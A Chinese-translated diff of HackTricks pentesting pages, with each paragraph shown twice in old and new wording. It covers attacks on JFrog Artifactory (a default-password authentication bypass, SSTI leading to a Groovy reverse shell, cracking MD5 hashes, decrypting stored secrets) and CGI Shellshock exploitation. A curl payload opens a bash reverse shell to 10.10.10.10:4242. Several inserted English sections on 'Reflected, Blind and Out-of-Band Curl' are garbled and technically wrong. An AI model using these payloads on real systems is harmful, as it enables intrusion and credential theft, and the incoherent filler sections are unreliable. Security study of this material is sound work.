||||
* 注释:CVE-2020-7931所需
|
||||
* 注释:对于CVE-2020-7931必需
|
||||
* 读取:通常是默认权限
|
||||
|
||||
# 已知漏洞 <a href="#known-vulnerabilities" id="known-vulnerabilities"></a>
|
||||
|
||||
以下是一份精选的高影响公开漏洞列表:
|
||||
以下是一份经过策划的高影响力公共漏洞列表:
|
||||
|
||||
## CVE-2016-10036:任意文件上传和RCE(<4.8.6) <a href="#cve-2016-10036-arbitrary-file-upload--rce-486" id="cve-2016-10036-arbitrary-file-upload--rce-486"></a>
|
||||
## CVE-2016-10036:任意文件上传和RCE (<4.8.6) <a href="#cve-2016-10036-arbitrary-file-upload--rce-486" id="cve-2016-10036-arbitrary-file-upload--rce-486"></a>
|
||||
|
||||
[详细信息在此。](https://www.exploit-db.com/exploits/44543)
|
||||
[详情在这里。](https://www.exploit-db.com/exploits/44543)
|
||||
|
||||
这个漏洞有点老了,你很难遇到这样一个过时的Artifactory版本。尽管如此,它非常有效,因为它是一个简单的目录遍历,可以在Tomcat级别上实现任意代码执行。
|
||||
这个漏洞有点旧,你不太可能遇到这么过时的Artifactory版本。尽管如此,它非常有效,因为它是一个简单的目录遍历,可以在Tomcat级别执行任意代码。
|
||||
|
||||
## CVE-2019-9733:身份验证绕过(<6.8.6) <a href="#cve-2019-9733-authentication-bypass-686" id="cve-2019-9733-authentication-bypass-686"></a>
|
||||
## CVE-2019-9733:身份验证绕过 (<6.8.6) <a href="#cve-2019-9733-authentication-bypass-686" id="cve-2019-9733-authentication-bypass-686"></a>
|
||||
|
||||
[原始公告在此。](https://www.ciphertechs.com/jfrog-artifactory-advisory/)
|
||||
[原始通告在这里。](https://www.ciphertechs.com/jfrog-artifactory-advisory/)
|
||||
|
||||
在旧版本的Artifactory(最高版本为6.7.3)中,`access-admin`帐户使用默认密码`password`。
|
||||
在旧版本的Artifactory(直到6.7.3),`access-admin`账户使用默认密码`password`。
|
||||
|
||||
通常禁止此本地帐户访问UI或API,但在6.8.6版本之前,如果`X-Forwarded-For` HTTP头设置为`127.0.0.1`,Artifactory可能会被欺骗以为请求来自本地。
|
||||
这个本地账户通常被禁止访问UI或API,但在6.8.6版本之前,如果将`X-Forwarded-For` HTTP头设置为`127.0.0.1`,可以欺骗Artifactory认为请求是本地发起的。
|
||||
|
||||
## CVE-2020-7931:服务器端模板注入(Artifactory Pro) <a href="#cve-2020-7931-server-side-template-injection-artifactory-pro" id="cve-2020-7931-server-side-template-injection-artifactory-pro"></a>
|
||||
|
||||
[原始公告在此。](https://github.com/atredispartners/advisories/blob/master/ATREDIS-2019-0006.md)
|
||||
[原始通告在这里。](https://github.com/atredispartners/advisories/blob/master/ATREDIS-2019-0006.md)
|
||||
|
||||
这是我编写的一个[工具](https://github.com/gquere/CVE-2020-7931),用于自动化利用此漏洞。
|
||||
这是我编写的[工具](https://github.com/gquere/CVE-2020-7931),用于自动化利用这个漏洞。
|
||||
|
||||
利用此漏洞需要以下条件:
|
||||
这些是利用所需的:
|
||||
|
||||
* 具有部署(创建文件)和注释(设置过滤)权限的用户
|
||||
* 拥有部署(创建文件)和注释(设置过滤)权限的用户
|
||||
* Artifactory Pro
|
||||
|
||||
漏洞相当简单:如果部署的资源设置为过滤,则将其解释为Freemarker模板,这为攻击者提供了SSTI攻击窗口。 ![Filtered Resource](https://www.errno.fr/artifactory/artif\_filtered.png)
|
||||
漏洞相当简单:如果部署的资源被设置为过滤,它会被解释为Freemarker模板,这为攻击者提供了SSTI攻击窗口。 ![过滤资源](https://www.errno.fr/artifactory/artif\_filtered.png)
|
||||
|
||||
以下是已实现的基本功能:
|
||||
以下是实现的原语:
|
||||
|
||||
* 基本文件系统读取
|
||||
* 有限的文件系统写入
|
||||
|
||||
这些应该足以以多种方式实现远程代码执行,从最简单/最安静到最困难/最吵闹:
|
||||
这些应该足以以多种方式实现远程代码执行,从最简单/最安静到最困难/最吵闹的:
|
||||
|
||||
* 读取文件系统上的秘密信息,以便进行枢轴操作(/home/user/.bash\_history,/home/user/password.txt,/home/user/.ssh/id\_rsa等)
|
||||
* 读取文件系统上的秘密,让你转移(/home/user/.bash\_history, /home/user/password.txt, /home/user/.ssh/id\_rsa …)
|
||||
* 向用户添加SSH密钥
|
||||
* 部署.war文件以执行servlet
|
||||
* 部署.war以执行servlet
|
||||
* 部署Artifactory Groovy用户脚本
|
||||
|
||||
### .war故事:Java renameTo() 技巧 <a href="#war-stories-java-renameto-shenanigans" id="war-stories-java-renameto-shenanigans"></a>
|
||||
### .war故事:Java renameTo() 把戏 <a href="#war-stories-java-renameto-shenanigans" id="war-stories-java-renameto-shenanigans"></a>
|
||||
|
||||
这是我在渗透测试期间苦苦挣扎了数小时甚至数天的一个小故事。我遇到了一个过时的Artifactory,我知道它容易受到CVE-2020-7931的攻击。我部署了原始的SSTI模板,并开始浏览文件系统。似乎Artifactory安装在非标准位置,这并不太常见,因为管理员喜欢在应用程序二进制文件、数据、日志和配置之间保持分离的分区(这是一件好事!)。用户的主目录中没有SSH密钥或密码,这使我无法轻松进行枢轴操作,所以我不得不变得不那么谨慎并写入文件系统。将初始有效负载(公钥)放入Artifactory的上传目录中没有问题,但我就是无法将其移动到SSH密钥目录中。所以我回到我的渗透测试沙盒,再次测试,结果竟然奏效了。所以肯定有不同的配置阻止了我完成`renameTo()`方法。此时,[检查文档](https://docs.oracle.com/javase/8/docs/api/java/io/File.html#renameTo-java.io.File-)总是一个好主意...文档清楚地说明,您不能在不同的文件系统之间重命名文件,这在方法的实现方式上是有道理的,即如果它在inode级别工作。唉。
|
||||
这是一个关于我在渗透测试期间头疼了几个小时甚至几天的小故事。我遇到了一个过时的Artifactory,我知道它对CVE-2020-7931漏洞敏感。我部署了原始通告的SSTI模板,并开始浏览文件系统。看起来Artifactory安装在一个非标准位置,这并不太常见,因为管理员喜欢将应用程序二进制文件、数据、日志和配置保持在分开的分区中(这是好事!)。用户主目录中没有SSH密钥或密码,这本来可以为我提供一个简单的转移,所以到了不那么谨慎并写入文件系统的时候。在Artifactory的上传目录中放置初始有效载荷(一个公钥)进行得很顺利,但我就是无法将其移动到SSH密钥目录。所以我回到我的利用沙箱,再次测试,果然,它工作得很好。所以一定有不同的配置阻止了我完成`renameTo()`方法。这时候,最好是[查看文档](https://docs.oracle.com/javase/8/docs/api/java/io/File.html#renameTo-java.io.File-)……它明确指出你不能在不同的文件系统中重命名文件,这取决于方法的实现,即如果它在inode级别工作,这是有道理的。哎。
|
||||
|
||||
还记得我说过管理员喜欢分区吗?好吧,这是一个管理员在不知情的情况下加固了他的设置以防止我的攻击!所以我不得不深入研究实质上是Java监狱的东西,以找到另一种让我写入磁盘的方法。这一点一点都不好玩,因为我对所涉及的任何东西都不熟悉:FTL模板、Java、Tomcat/Catalina。我很快发现,常规的Java监狱逃逸是不够的,因为禁止实例化新类。经过几个小时阅读Java和Catalina类的文档,我终于找到了一个可以让我访问的对象上的write()方法。但它仅限于Web应用程序的基本路径...所以我想到了将写入另一个文件系统和通过这个新可访问的文件系统进行的`renameTo()`结合起来,希望能够写入任何位置?这种方法有点奏效。我设法写入临时上传目录之外的位置...但离它很远,因为现在我被困在另一个文件系统上,这是所有Artifactory的挂载点:配置、应用程序和其他东西。所以对我来说仍然没有SSH密钥。
|
||||
还记得我说的管理员喜欢分区吗?嗯,这是一个管理员在不知情的情况下加强了他的设置以抵御我的利用!所以我不得不深入到本质上是Java监狱的东西中,找到另一种方法,让我能够将文件写入磁盘。这一点都不有趣,因为我对任何涉及的东西都不熟悉:FTL模板、Java、Tomcat/Catalina。我很快发现,常规的Java监狱逃逸根本行不通,因为实例化新类是被禁止的。经过几个小时的阅读Java和Catalina类文档,我终于在一个我可以到达的对象上找到了一个write()方法。但它限于web应用程序的基本路径……那么我想到了结合写入另一个文件系统和`renameTo()`跨这个新可达文件系统,希望能够写入任何地方?这有点工作。我设法写出了临时上传目录……但离它不远,因为现在我被困在另一个文件系统上,这是所有artifactory事物的挂载点:配置、应用程序等等。所以我还是没有SSH密钥。
|
||||
|
||||
好吧,我可以写入artifactory根文件夹,我肯定可以在这里做些什么吧?嘿,默认的Tomcat自动部署写入其应用程序路径的WAR文件,对吧?所以我使用msfvenom生成了一个打包在WAR文件中的JSP Webshell,并在我的沙盒中进行了测试...它确实被部署了,但没有给我带来命令执行。似乎默认的Tomcat不处理JSP。呃。越来越沮丧,我寻找另一种在Tomcat中执行代码的方法,并找到了使用servlet的另一种执行方法。找不到合适的有效负载,所以我就全力以赴,[自己开发了一个,你可以在这里找到](https://github.com/gquere/javaWebShell)。在沙盒中进行了测试,可以运行,好。将其放在目标上,部署并...什么都没有。结果,artifactory前面有一个代理,将所有URL重写为/artifactory。所以即使我的后门被部署和运行,我也无法访问它...如果此时有一些远程代码执行要完成,那必须在Artifactory的上下文中完成,而不是在Tomcat的上下文中。
|
||||
好吧,我可以写入artifactory根文件夹,我肯定可以在这里做点什么吧?嘿,Tomcat默认会自动部署写入其应用程序路径的WAR文件,不是吗?所以我使用msfvenom生成了一个打包在WAR文件中的JSP webshell,并在我的沙箱中测试了它……它确实部署了,但没有给我任何命令执行。看来默认的Tomcat不处理JSP。唉。越来越沮丧,我寻找另一种在Tomcat中执行代码的方法,并找到了使用servlets的另一种执行方法。找不到合适的有效载荷,所以搞它,我已经全力以赴了,并且[在这里推出了我自己的,你可以找到](https://github.com/gquere/javaWebShell)。在沙箱中测试,工作正常,好的。放在目标上,部署并且……什么也没有。原来,有一个代理在artifactory前面,将所有URL重写为/artifactory。所以即使我的后门部署并运行了,我也无法访问它……如果此时有一些远程代码执行要实现,它将必须在Artifactory的上下文中,而不是Tomcat的。
|
||||
|
||||
第二天早上,我在办公桌前哭泣,最后一次徒劳地查看Artifactory的文档,希望有所启示。然后“Groovy脚本”这些神奇的词出现了。原来有一种复杂的方法可以执行Groovy脚本,通过将它们写入磁盘然后通过API重新加载它们。最后得救了!所以我弹出了一个Groovy反向shell到机器,就是这样了。仍然希望我能找到一种更干净的方法,可以使用SSTI在文件系统上的任何地方写入,但我肯定不会回去开发了!
|
||||
|
||||
幸运的是,并非所有的渗透测试都是这样进行的 :)
|
||||
|
||||
第二天早上,我在办公桌前哭泣,最后一次徒劳地查看Artifactory的文档,希望能有所顿悟。然后神奇的词语“Groovy脚本”出现了。原来有一种复杂的方法可以通过将它们写入磁盘,然后通过API重新加载它们来执行Groovy脚本。终于解脱了!所以我弹出了一个Groovy反向shell到机器上,事情就这样结束了。我仍然希望能找到一种
|
||||
# 后渗透 <a href="#post-exploitation" id="post-exploitation"></a>
|
||||
|
||||
以下内容仅在您已经成功实现对服务器的远程代码执行或任意文件读取,并且可能帮助您转向另一台机器时才有用。
|
||||
以下内容仅在您实现了服务器上的远程代码执行或任意文件读取后有用,并且可能帮助您转移到另一台机器。
|
||||
|
||||
## 密码和外部秘密的存储 <a href="#storage-of-passwords-and-external-secrets" id="storage-of-passwords-and-external-secrets"></a>
|
||||
## 存储密码和外部秘密 <a href="#storage-of-passwords-and-external-secrets" id="storage-of-passwords-and-external-secrets"></a>
|
||||
|
||||
### 本地密码 <a href="#local-passwords" id="local-passwords"></a>
|
||||
|
||||
本地 artifactory 密码以盐化的 MD5 或 bcrypt 形式存储,前者已被弃用。
|
||||
本地artifactory密码以盐化MD5或bcrypt形式存储,前者已被弃用。
|
||||
|
||||
MD5 密码始终使用硬编码的 spring 值 `{CAFEBABEEBABEFAC}` 进行盐化,并且使用简单的连接方式,没有轮次,即 `hash = md5(password + salt)`。数据库中显示的盐值是 `CAFEBABEEBABEFAC`,但相信我,它实际上是 `{CAFEBABEEBABEFAC}`,我费了好大劲才找到它 :)
|
||||
MD5密码总是使用硬编码的spring值`{CAFEBABEEBABEFAC}`进行盐化,并且使用简单的连接没有轮次,即`hash = md5(password + salt)`。数据库说盐是`CAFEBABEEBABEFAC`,但相信我,它是`{CAFEBABEEBABEFAC}`,我找了很久 :)
|
||||
|
||||
要破解这些 MD5 密码,需要使用 JtR 的动态模式:
|
||||
破解这些MD5密码需要使用JtR的动态模式:
|
||||
```
|
||||
cat artifactory.hashes
|
||||
user:1f70548d73baca61aab8660733c7de81${CAFEBABEEBABEFAC}
|
||||
|
@ -153,7 +154,7 @@ john artifactory.hashes --format=dynamic_1
|
|||
Loaded 1 password hash (dynamic_1 [md5($p.$s) (joomla) 256/256 AVX2 8x3])
|
||||
password (user)
|
||||
```
|
||||
另一种bcrypt密码类型不需要任何特殊操作,它只是一个标准的bcrypt哈希值:
|
||||
另一种bcrypt密码不需要任何特殊处理,它只是一个标准的bcrypt散列:
|
||||
```
|
||||
cat artifactory_bcrypt.hashes
|
||||
admin:$2a$08$EbfHSAjPLoJnG/yHS/zmi.VizaWSipUuKAo7laKt6b8LePPTfDVeW
|
||||
|
@ -161,65 +162,67 @@ john artifactory_bcrypt.hashes
|
|||
Loaded 1 password hash (bcrypt [Blowfish 32/64 X2])
|
||||
password (admin)
|
||||
```
|
||||
### 远程密钥 <a href="#remote-secrets" id="remote-secrets"></a>
|
||||
### 远程秘密 <a href="#remote-secrets" id="remote-secrets"></a>
|
||||
|
||||
Artifactory可能需要存储用于识别远程服务的密钥。这些密钥当然不是哈希值,而是加密存储在磁盘上,并且密钥就在它们旁边。在[官方文档](https://jfrog.com/knowledge-base/what-are-the-artifactory-key-master-key-and-what-are-they-used-for/)中提到了两种类型的密钥。
|
||||
Artifactory 可能需要存储秘密以识别远程服务。这些秘密当然不是哈希的,它们被加密存储在磁盘上,密钥就在它们旁边。在[官方文档](https://jfrog.com/knowledge-base/what-are-the-artifactory-key-master-key-and-what-are-they-used-for/)中提到了两种类型的秘密。
|
||||
|
||||
**旧格式 (<5.9): DES-EDE**
|
||||
|
||||
TODO. [如果您有加密数据示例,请提交问题](https://github.com/gquere/ArtifactoryDecryptor)。
|
||||
待办事项。[如果您有样本加密数据,请开一个问题](https://github.com/gquere/ArtifactoryDecryptor)。
|
||||
|
||||
**新格式 (>=5.9): AES128-CBC加密,以base58格式存储**
|
||||
**新格式 (>=5.9): AES128-CBC 加密,存储为 base58**
|
||||
|
||||
外部密钥(例如远程服务器的密码)可以在[配置描述符](https://www.jfrog.com/confluence/display/JFROG/Configuration+Files#ConfigurationFiles-GlobalConfigurationDescriptor)中找到,例如:`/var/opt/jfrog/artifactory/etc/artifactory.config.latest.xml`,并且看起来像:
|
||||
外部秘密(例如远程服务器的密码)可以在[配置描述符](https://www.jfrog.com/confluence/display/JFROG/Configuration+Files#ConfigurationFiles-GlobalConfigurationDescriptor)中找到,例如 `/var/opt/jfrog/artifactory/etc/artifactory.config.latest.xml`,看起来像:
|
||||
```
|
||||
<keyStorePassword>AM.25rLQ.AES128.vJMeKkaK6RBRQCUKJWvYEHUw6zs394X1CrRugvJsQGPanhMgQ5be8yjWDhJYC4BEz2KRE</keyStorePassword>
|
||||
```
|
||||
在这里:
|
||||
```markdown
|
||||
在哪里:
|
||||
|
||||
* `AM` 总是表示一个加密的 artifactory 密钥
|
||||
* `25rLQ` 是必须与密钥的标识符匹配的密钥标识符
|
||||
* `AM` 总是表示一个加密的秘密
|
||||
* `25rLQ` 是必须与密钥的标识符匹配的秘密标识符
|
||||
* `AES128` 显然是使用的算法
|
||||
* `vJMeK...KRE` 是 `IV_SIZE|IV|secret|CRC` 的 base58 编码
|
||||
|
||||
可以使用以下正则表达式找到更多的密钥(令牌、配置备份...):
|
||||
通过使用以下正则表达式可以找到更多秘密(令牌,配置备份等):
|
||||
```
|
||||
```
|
||||
grep -r 'AM\..*\.AES128\.' /var/opt/jfrog/artifactory/
|
||||
```
|
||||
密钥存储在 `/var/opt/jfrog/artifactory/etc/security/artifactory.key` 中,格式如下:
|
||||
密钥存储在 `/var/opt/jfrog/artifactory/etc/security/artifactory.key` 中,其内容如下:
|
||||
```
|
||||
JS.25rLQ.AES128.7fcJFd3Y2ib3wi4EHnhbvZuxu
|
||||
```
|
||||
在这里:
|
||||
```
|
||||
其中:
|
||||
|
||||
* `JS` 表示一个密钥
|
||||
* `25rLQ` 是一个唯一的密钥标识符,用于跟踪哪个密钥可以解密哪些秘密
|
||||
* `25rLQ` 是一个独特的密钥标识符,用于跟踪哪个密钥可以解密哪些秘密
|
||||
* `AES128` 显然是使用的算法
|
||||
* `7fcJFd3Y2ib3wi4EHnhbvZuxu` 是密钥和2个CRC字节的base58编码
|
||||
* `7fcJFd3Y2ib3wi4EHnhbvZuxu` 是密钥的 base58 编码和 2 字节的 CRC
|
||||
|
||||
我编写的这个工具可以离线使用来解密Artifactory的秘密:[ArtifactoryDecryptor](https://github.com/gquere/ArtifactoryDecryptor)。
|
||||
我编写的这个工具可以离线使用,用于解密 Artifactory 秘密:[ArtifactoryDecryptor](https://github.com/gquere/ArtifactoryDecryptor)。
|
||||
|
||||
# 防御Artifactory <a href="#defending-artifactory" id="defending-artifactory"></a>
|
||||
# 防御 Artifactory <a href="#defending-artifactory" id="defending-artifactory"></a>
|
||||
|
||||
如果你是蓝队或Artifactory管理员,现在你应该对该做什么有一个很好的想法:
|
||||
如果你是蓝队或 Artifactory 管理员,到目前为止,你应该对接下来的操作有一个非常好的认识:
|
||||
|
||||
* 保持Artifactory最新,特别是在发布关键更新时
|
||||
* 实施健全的密码策略(不使用默认密码,强制使用强密码,锁定账户),最好将其委托给外部LDAP以便更好地监督
|
||||
* 限制访问(遵循最小权限原则),特别是对于匿名用户
|
||||
* 保持 Artifactory 更新,特别是当发布关键更新时
|
||||
* 实施合理的密码策略(无默认密码,强制使用强密码,锁定账户),最好委托给外部 LDAP 进行更好的监管
|
||||
* 限制访问(遵循最小权限原则),特别是对匿名用户的访问
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得最新版本的PEASS或下载HackTricks的PDF吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
- 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 如果你想在 **HackTricks** 中看到你的**公司广告**或**下载 HackTricks 的 PDF** 版本,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享你的黑客技巧。**
|
||||
|
||||
</details>
|
||||
```
|
||||
|
|
|
@ -1,90 +1,40 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>零基础学习AWS黑客攻击成为英雄</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 如果您想在 **HackTricks中看到您的公司广告** 或 **下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现 [**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
# 信息
|
||||
|
||||
**CGI脚本是perl脚本**,所以,如果你已经入侵了一个可以执行_**.cgi**_脚本的服务器,你可以**上传一个perl反向shell**(`/usr/share/webshells/perl/perl-reverse-shell.pl`),**将扩展名**从**.pl**改为**.cgi**,给予**执行权限**(`chmod +x`)并且**通过web浏览器访问**反向shell来执行它。
|
||||
为了测试**CGI漏洞**,建议使用`nikto -C all`(以及所有插件)
|
||||
**CGI脚本是perl脚本**,因此,如果您已经攻破了可以执行 _**.cgi**_ 脚本的服务器,您可以 **上传一个perl反向shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\),将扩展名从 **.pl** 改为 **.cgi**,赋予 **执行权限** \(`chmod +x`\) 并通过 **网络浏览器访问** 反向shell以执行它。
|
||||
为了测试 **CGI漏洞**,建议使用 `nikto -C all` \(及其所有插件\)
|
||||
|
||||
# **ShellShock**
|
||||
|
||||
Bash也可以用于运行应用程序传递给它的命令,正是这个功能受到了漏洞的影响。可以发送给Bash的一种命令类型允许设置环境变量。环境变量是动态的、命名的值,影响计算机上运行的进程的方式。漏洞在于**攻击者可以将恶意代码附加到环境变量中,在接收到变量后运行该代码**。
|
||||
Bash也可以用来运行应用程序传递给它的命令,而这个特性正是漏洞影响的地方。可以发送给Bash的一种命令类型允许设置环境变量。环境变量是动态的、命名的值,它们影响计算机上进程的运行方式。漏洞在于,**攻击者可以在环境变量中附加恶意代码,一旦变量被接收,代码就会运行**。
|
||||
|
||||
利用这个漏洞,**页面可能会抛出错误**。
|
||||
|
||||
你可以通过注意到它使用了**旧版本的Apache**和**cgi_mod**(带有cgi文件夹)或使用**nikto**来**发现**这个漏洞。
|
||||
您可以通过注意到它使用的是**旧版本的Apache**和**cgi\_mod** \(带有cgi文件夹\) 或使用 **nikto** 来**发现**这个漏洞。
|
||||
|
||||
## **测试**
|
||||
|
||||
大多数测试都是基于输出一些内容,并期望该字符串在web响应中返回。如果你认为一个页面可能存在漏洞,请搜索所有的cgi页面并对它们进行测试。
|
||||
大多数测试都是基于回显某些内容,并期望该字符串在网络响应中返回。如果您认为某个页面可能存在漏洞,请搜索所有的cgi页面并测试它们。
|
||||
|
||||
**Nmap**
|
||||
```bash
|
||||
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
|
||||
```
|
||||
## **Curl(反射型、盲注和带外)**
|
||||
|
||||
---
|
||||
|
||||
### **Reflected Curl**
|
||||
|
||||
#### **Description**
|
||||
|
||||
Reflected Curl is a technique used to exploit web applications that reflect user-supplied input in the response. This vulnerability occurs when the application takes user input and includes it in the response without proper sanitization or validation. An attacker can craft a malicious request that includes Curl commands as input, which are then executed by the server and the output is reflected back in the response.
|
||||
|
||||
#### **Exploitation**
|
||||
|
||||
To exploit this vulnerability, an attacker can send a specially crafted request to the target web application, including Curl commands as input. The server will execute these commands and include the output in the response. The attacker can then analyze the response to gather sensitive information or perform further attacks.
|
||||
|
||||
#### **Mitigation**
|
||||
|
||||
To mitigate the risk of reflected Curl attacks, it is important to properly sanitize and validate user input before including it in the response. This can be done by implementing input validation and output encoding techniques, such as using secure coding practices and frameworks that automatically handle input sanitization.
|
||||
|
||||
---
|
||||
|
||||
### **Blind Curl**
|
||||
|
||||
#### **Description**
|
||||
|
||||
Blind Curl is a technique used to exploit web applications that do not directly reflect user-supplied input in the response, but still execute Curl commands based on that input. This vulnerability occurs when the application takes user input and uses it to construct Curl commands that are executed by the server without directly reflecting the output in the response.
|
||||
|
||||
#### **Exploitation**
|
||||
|
||||
To exploit this vulnerability, an attacker needs to find a way to infer the output of the executed Curl commands indirectly. This can be done by observing the behavior of the application, such as the response time or the presence of certain error messages. By carefully crafting input, the attacker can manipulate the behavior of the application and gather information about the executed Curl commands.
|
||||
|
||||
#### **Mitigation**
|
||||
|
||||
To mitigate the risk of blind Curl attacks, it is important to carefully review and validate the construction of Curl commands based on user input. Additionally, implementing proper error handling and logging mechanisms can help detect and prevent blind Curl vulnerabilities.
|
||||
|
||||
---
|
||||
|
||||
### **Out-of-Band Curl**
|
||||
|
||||
#### **Description**
|
||||
|
||||
Out-of-Band Curl is a technique used to exploit web applications by leveraging external communication channels to retrieve the output of executed Curl commands. This vulnerability occurs when the application executes Curl commands that trigger external requests to a controlled server, allowing the attacker to capture the output through this communication channel.
|
||||
|
||||
#### **Exploitation**
|
||||
|
||||
To exploit this vulnerability, an attacker needs to set up a controlled server that can receive the external requests triggered by the executed Curl commands. By crafting malicious input that includes Curl commands, the attacker can make the application send requests to the controlled server, which captures the output and allows the attacker to gather sensitive information.
|
||||
|
||||
#### **Mitigation**
|
||||
|
||||
To mitigate the risk of out-of-band Curl attacks, it is important to carefully review and validate the execution of Curl commands within the application. Additionally, implementing proper input validation and output encoding techniques can help prevent the inclusion of malicious Curl commands in user input.
|
||||
## **Curl \(反射型、盲目型和带外\)**
|
||||
```bash
|
||||
# Reflected
|
||||
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
|
||||
|
@ -97,43 +47,7 @@ curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http:
|
|||
```bash
|
||||
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
|
||||
```
|
||||
## 攻击利用
|
||||
|
||||
Exploiting vulnerabilities in CGI scripts is a common technique used in web application penetration testing. CGI (Common Gateway Interface) is a protocol that allows web servers to execute scripts and generate dynamic content. By exploiting vulnerabilities in CGI scripts, an attacker can gain unauthorized access to the server or execute arbitrary code.
|
||||
|
||||
### Remote Command Execution
|
||||
|
||||
Remote Command Execution (RCE) is a type of vulnerability that allows an attacker to execute arbitrary commands on the target server. In the context of CGI scripts, RCE vulnerabilities can be exploited by injecting malicious commands into user input fields or by manipulating the parameters passed to the script.
|
||||
|
||||
To exploit an RCE vulnerability in a CGI script, an attacker needs to identify the input fields or parameters that are vulnerable to command injection. Once identified, the attacker can craft a payload that includes the malicious command and submit it to the server. If the vulnerability is successfully exploited, the server will execute the injected command and return the output to the attacker.
|
||||
|
||||
### File Inclusion
|
||||
|
||||
File Inclusion vulnerabilities occur when a CGI script includes external files without proper validation. This can allow an attacker to include arbitrary files from the server's file system, potentially exposing sensitive information or executing malicious code.
|
||||
|
||||
To exploit a File Inclusion vulnerability in a CGI script, an attacker needs to identify the vulnerable inclusion point and provide a path to the file they want to include. This can be done by manipulating the parameters passed to the script or by exploiting other vulnerabilities to gain control over the file inclusion process.
|
||||
|
||||
Once the File Inclusion vulnerability is successfully exploited, the attacker can read sensitive files, such as configuration files or user credentials, or execute arbitrary code by including a malicious file.
|
||||
|
||||
### Directory Traversal
|
